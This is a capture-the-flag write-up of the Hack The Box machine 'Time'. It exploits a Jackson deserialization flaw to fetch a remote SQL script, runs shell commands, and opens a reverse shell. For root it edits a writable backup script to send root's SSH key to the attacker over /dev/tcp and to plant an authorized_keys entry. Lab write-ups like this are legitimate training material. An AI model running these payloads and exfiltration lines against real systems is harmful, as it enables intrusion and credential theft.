HTB - Time
Overview
This machine was almost dissapointingly easy for a medium box. It definitely should have been classified ‘Easy’. A simple test at the beginning revealed a verbose error message. Some quick googling then leads to an easy to use exploit. After that simple enumeration leads to a weakly protected script that gets executed as root, and leaves the player a million routes to root through arbitrary code execution. This machine is on TJ_Null’s list of OSCP-like machines. Have fun!
Useful Skills and Tools
Useful thing 1
- description with generic example
Useful thing 2
- description with generic example
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.10.214
. The options I regularly use are:
Flag | Purpose |
---|---|
-p- | A shortcut which tells nmap to scan all ports |
-vvv | Gives very verbose output so I can see the results as they are found, and also includes some information not normally shown |
-sC | Equivalent to --script=default and runs a collection of nmap enumeration scripts against the target |
-sV | Does a service version scan |
-oA $name | Saves all three formats (standard, greppable, and XML) of output with a filename of $name |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nmap -sCV -n -p- -Pn -v -oA time 10.10.10.214
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-15 18:08 EDT
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 43.18 seconds
ony two ports open, 22- SSH, and 80 - HTTP
port 80 HTTP
1
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unexpected character ('<' (code 60)): expected a valid value (number, String, array, object, 'true', 'false' or 'null')
Did a test for XSS, got an unhandled Java exception
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
(function ($) {
'use strict';
/*==================================================================
[ Validate ]*/
var input = $('.validate-input .input100');
$('.validate-form').on('submit', function () {
var check = true;
for (var i = 0; i < input.length; i++) {
if (validate(input[i]) == false) {
showValidate(input[i]);
check = false;
}
}
return check;
});
$('.validate-form .input100').each(function () {
$(this).focus(function () {
hideValidate(this);
});
});
function validate(input) {
if ($(input).attr('type') == 'email' || $(input).attr('name') == 'email') {
if ($(input).val().trim().match(/^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{1,5}|[0-9]{1,3})(\]?)$/) == null) {
return false;
}
}
else {
if ($(input).val().trim() == '') {
return false;
}
}
}
function showValidate(input) {
var thisAlert = $(input).parent();
$(thisAlert).addClass('alert-validate');
}
function hideValidate(input) {
var thisAlert = $(input).parent();
$(thisAlert).removeClass('alert-validate');
}
}) (jQuery);
Checked the source code for the page, noticed a file main.js
^–nothing?
Searched for exploits related to com.fasterxml.jackson.core
https://blog.doyensec.com/2019/07/22/jackson-gadgets.html
1
2
3
4
5
6
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > /dev/tcp/10.10.14.159/8081')
test.sql
1
"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
1
["ch.qos.logback.core.db.DriverManagerConnectionSource",+{"url"%3a"jdbc%3ah2%3amem%3a%3bTRACE_LEVEL_SYSTEM_OUT%3d3%3bINIT%3dRUNSCRIPT+FROM+'http%3a//10.10.14.159%3a8082/test.sql'"}]
AFter some testing, I discovered that the POC code had some \
that they were using to excape the quotes. These were causing the validator in this case to throw an error.
1
2
3
4
5
┌──(zweilos㉿kali)-[~/htb/time]
└─$ python3 -m http.server 8082
Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
10.10.10.214 - - [15/Mar/2021 19:31:42] "GET /test.sql HTTP/1.1" 200 -
10.10.10.214 - - [15/Mar/2021 19:36:15] "GET /test.sql HTTP/1.1" 200 -
After I removed them from my code I got a connection back, downloading my test.sql.
1
2
3
4
zweilos@kali:~/htb/time$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 36640
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)
I got a connection back on my machine, proving the remote code execution worked. Next I replaced the id
command with a reverse shell.
Initial Foothold
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
zweilos@kali:~/htb/time$ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 36644
bash: cannot set terminal process group (894): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$ which python3
which python3
/usr/bin/python3
pericles@time:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
pericles@time:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 8081
zweilos@kali:~/htb/time$ stty size
27 104
zweilos@kali:~/htb/time$ stty raw -echo
nc -lvnp 8081aa:~/htb/time$
pericles@time:/var/www/html$ stty rows 27 columns 104
pericles@time:/var/www/html$ export TERM=xterm-256color
After changing the code in my test.sql file and sending it again, I recieved a reverse shell from the machine. I quickly upgraded to a full TTY and began enumeration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if(isset($_POST['data'])){
if(isset($_POST['mode']) && $_POST['mode'] === "2"){
$filename = tempnam("/dev/shm", "payload");
$myfile = fopen($filename, "w") or die("Unable to open file!");
$txt = $_POST['data'];
fwrite($myfile, $txt);
fclose($myfile);
exec("/usr/bin/jruby /opt/json_project/parse.rb $filename 2>&1", $cmdout, $ret);
unlink($filename);
if($ret === 0){
$output = '<pre>Validation successful!</pre>';
}
else{
$output = '<pre>Validation failed: ' . $cmdout[1] . '</pre>';
}
}
else{
$json_ugly = $_POST['data'];
$json_pretty = json_encode(json_decode($json_ugly), JSON_PRETTY_PRINT);
$output = '<pre>'.$json_pretty.'</pre>';
}
}
?>
index.php for the json validator site had some interesting code in it
Road to User
Further enumeration
Finding user creds
User.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pericles@time:/$ cd ~
pericles@time:/home/pericles$ ls -la
total 44
drwxr-xr-x 7 pericles pericles 4096 Oct 23 09:45 .
drwxr-xr-x 3 root root 4096 Oct 2 13:45 ..
lrwxrwxrwx 1 root root 9 Oct 1 15:05 .bash_history -> /dev/null
-rw-r--r-- 1 pericles pericles 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 pericles pericles 3771 Feb 25 2020 .bashrc
drwx------ 2 pericles pericles 4096 Sep 20 13:53 .cache
drwx------ 3 pericles pericles 4096 Oct 22 17:45 .config
drwx------ 2 pericles pericles 4096 Mar 15 21:49 .gnupg
lrwxrwxrwx 1 root root 9 Oct 1 15:07 .lhistory -> /dev/null
drwxrwxr-x 3 pericles pericles 4096 Sep 29 12:52 .local
-rw-r--r-- 1 pericles pericles 807 Feb 25 2020 .profile
drwxr-xr-x 3 pericles pericles 4096 Oct 2 13:20 snap
-r-------- 1 pericles pericles 33 Mar 15 11:35 user.txt
pericles@time:/home/pericles$ cat user
cat: user: No such file or directory
pericles@time:/home/pericles$ cat user.txt
f2555e4414a9821013d82bfbdb6d13e3
After checking pericles
’ home directory I found the user.txt
proof!
Path to Power (Gaining Administrator Access)
Enumeration as pericles
1
2
3
4
5
6
7
8
9
10
default-remote: local
remotes:
images:
addr: https://images.linuxcontainers.org
protocol: simplestreams
public: true
local:
addr: unix://
public: false
aliases: {}
in lxd directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pericles@time:/home/pericles/snap/lxd/17886/.config/lxc$ find / -group pericles 2>/dev/null
/usr/bin/timer_backup.sh
/dev/shm/payloadah34hL
/proc/989
...snipped proc files
/home/pericles
/home/pericles/.gnupg
/home/pericles/.gnupg/trustdb.gpg
/home/pericles/.gnupg/pubring.kbx
/home/pericles/.bashrc
/home/pericles/.bash_logout
/home/pericles/user.txt
/home/pericles/.profile
/home/pericles/.config
/home/pericles/.config/procps
/home/pericles/.local
/home/pericles/.local/share
/home/pericles/.local/share/nano
/home/pericles/snap
/home/pericles/snap/lxd
/home/pericles/snap/lxd/17886
/home/pericles/snap/lxd/17886/.config
/home/pericles/snap/lxd/17886/.config/lxc
/home/pericles/snap/lxd/17886/.config/lxc/config.yml
/home/pericles/snap/lxd/common
/home/pericles/snap/lxd/current
/home/pericles/snap/lxd/17936
/home/pericles/snap/lxd/17936/.config
/home/pericles/snap/lxd/17936/.config/lxc
/home/pericles/snap/lxd/17936/.config/lxc/config.yml
/home/pericles/.cache
/home/pericles/.cache/motd.legal-displayed
/tmp/hsperfdata_pericles
/tmp/hsperfdata_pericles/75713
/var/www/html
/opt/json_project/parse.rb
/opt/json_project/classpath
/opt/json_project/classpath/h2-1.4.199.jar
/opt/json_project/classpath/jackson-databind-2.9.8.jar
/opt/json_project/classpath/logback-core-1.3.0-alpha5.jar
/opt/json_project/classpath/jackson-core-2.9.8.jar
/opt/json_project/classpath/jackson-annotations-2.9.8.jar
I did a search for files that the group pericles
had access to.
1
2
3
4
5
6
7
pericles@time:/dev/shm$ ls -la
total 4
drwxrwxrwt 2 root root 60 Mar 16 21:30 .
drwxr-xr-x 18 root root 3980 Mar 16 14:16 ..
-rw------- 1 pericles pericles 161 Mar 16 21:30 payloadah34hL
pericles@time:/dev/shm$ cat payloadah34hL
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.159:8082/test.sql'"}]
The exploit code that I had used to access the machine was saved as a file in /dev/shm
apparently.
1
2
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
I also found the file /usr/bin/timer_backup.sh
. It looked like it was probably a cron script that made backups of the website data. I decided it would be a good place to check to see if there was anything interesting in old backups
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
pericles@time:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
pericles@time:/etc$ ls -la cron
ls: cannot access 'cron': No such file or directory
pericles@time:/etc$ cd cron.d
pericles@time:/etc/cron.d$ ls -la
total 24
drwxr-xr-x 2 root root 4096 Sep 21 03:22 .
drwxr-xr-x 102 root root 4096 Feb 10 15:20 ..
-rw-r--r-- 1 root root 102 Feb 13 2020 .placeholder
-rw-r--r-- 1 root root 201 Feb 14 2020 e2scrub_all
-rw-r--r-- 1 root root 712 Mar 27 2020 php
-rw-r--r-- 1 root root 191 Apr 23 2020 popularity-contest
pericles@time:/etc/cron.d$ cat php
# /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
# This purges session files in session.save_path older than X,
# where X is defined in seconds as the largest value of
# session.gc_maxlifetime from all your SAPI php.ini files
# or 24 minutes if not defined. The script triggers only
# when session.save_handler=files.
#
# WARNING: The scripts tries hard to honour all relevant
# session PHP options, but if you do something unusual
# you have to disable this script and take care of your
# sessions yourself.
# Look for and purge old sessions every 30 minutes
09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi
pericles@time:/etc/cron.d$ cat e2scrub_all
30 3 * * 0 root test -e /run/systemd/system || SERVICE_MODE=1 /usr/lib/x86_64-linux-gnu/e2fsprogs/e2scrub_all_cron
10 3 * * * root test -e /run/systemd/system || SERVICE_MODE=1 /sbin/e2scrub_all -A -r
I searched through all of the crons and didn’t find the script.
1
2
pericles@time:/etc$ grep -r timer_backup.sh * 2>/dev/null
systemd/system/web_backup.service:ExecStart=/bin/bash /usr/bin/timer_backup.sh
Next, I used grep to search for the name of the script in all of the files in /etc
and got a hit in the systemd/system/web_backup.service
file.
1
2
pericles@time:/etc$ ls -la systemd/system/web_backup.service
-rw-r--r-- 1 root root 106 Oct 23 04:57 systemd/system/web_backup.service
This service was running as root.
1
2
pericles@time:/etc$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Mar 16 22:25 /usr/bin/timer_backup.sh
I double checked the permissions on the script, and saw that it was fully owned by pericles
, and I could both read and write it. I decided to change the script to do a backup of root’s Private key.
Getting a shell
1
2
#!/bin/bash
cat /root/.ssh/id_rsa > /dev/tcp/10.10.14.159/8082 2>&1
1
2
3
4
5
6
7
8
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nc -lvnp 8082 > time.key
listening on [any] 8082 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 33180
┌──(zweilos㉿kali)-[~/htb/time]
└─$ cat time.key
cat: /root/.ssh/id_rsa: No such file or directory
Unfortunately it appeared as if there was no id_rsa
file, or the script was not running as root.
1
2
#!/bin/bash
echo $(id) > /dev/tcp/10.10.14.159/8082 2>&1
Next I changed the script so it would send me the user ID information of the context the script was being run under
1
2
3
4
5
6
7
8
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nc -lvnp 8082 > time.key
listening on [any] 8082 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 33196
┌──(zweilos㉿kali)-[~/htb/time]
└─$ cat time.key
uid=0(root) gid=0(root) groups=0(root)
It was definitely running as root.
1
2
3
#!/bin/bash
echo 'ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBnfsDltTXRqAn25L5a+Z9ODhDJJYO8Wm37tG//hh4kyxcn6IhZ+pykEkDLSsLIUsomyvY5cC8hFLBw96Hs0w0U=' >> /root/.ssh/authorized_keys
echo "Key away! Try to log in through SSH." > /dev/tcp/10.10.14.159/8082
Next I tried sending my SSH public key to root
’s authorized_keys
file. Each time I modified the script it only took a few seconds until it connected back, but just in case I added a message to let me know when it was done.
1
2
3
4
5
┌──(zweilos㉿kali)-[~/htb/time]
└─$ nc -lvnp 8082 148 ⨯ 1 ⚙
listening on [any] 8082 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.10.214] 33236
Key away! Try to log in through SSH.
Root.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
┌──(zweilos㉿kali)-[~/htb/time]
└─$ ssh root@10.10.10.214 -i root.key 1 ⚙
The authenticity of host '10.10.10.214 (10.10.10.214)' can't be established.
ECDSA key fingerprint is SHA256:sMBq2ECkw0OgfWnm+CdzEgN36He1XtCyD76MEhD/EKU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.214' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 16 Mar 2021 10:44:04 PM UTC
System load: 0.31
Usage of /: 18.6% of 27.43GB
Memory usage: 27%
Swap usage: 0%
Processes: 237
Users logged in: 0
IPv4 address for ens160: 10.10.10.214
IPv6 address for ens160: dead:beef::250:56ff:feb9:e959
168 updates can be installed immediately.
47 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Feb 9 14:41:33 2021
root@time:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
time
root@time:~# cat root.txt
14335af5e1db1ea31c221882be1389c6
root@time:~# ls -la
total 5816
drwx------ 7 root root 4096 Mar 16 22:43 .
drwxr-xr-x 20 root root 4096 Mar 16 22:43 ..
-rw-r--r-- 1 root root 5900858 Mar 16 22:43 backup.zip
lrwxrwxrwx 1 root root 9 Oct 2 13:46 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Feb 10 15:18 .cache
drwx------ 3 root root 4096 Feb 10 15:18 .config
drwxr-xr-x 3 root root 4096 Feb 10 15:18 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-r-------- 1 root root 33 Mar 16 14:17 root.txt
-rw-r--r-- 1 root root 66 Oct 22 08:45 .selected_editor
drwxr-xr-x 3 root root 4096 Feb 10 15:18 snap
drwx------ 2 root root 4096 Feb 10 15:18 .ssh
-rwxr--r-- 1 root root 88 Oct 22 08:49 timer_backup.sh
-rw------- 1 root root 929 Feb 9 14:42 .viminfo
root@time:~# cat timer_backup.sh
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
And that was it!
note: If you ran script
earlier to log your console, make sure to type exit until you get the “Script done.” message, back on your box.
Thanks to egotisticalSW
& felamos
for something interesting or useful about this machine.
If you have comments, issues, or other feedback, or have any other fun or useful tips or tricks to share, feel free to contact me on Github at https://github.com/zweilosec or in the comments below!
If you like this content and would like to see more, please consider buying me a coffee!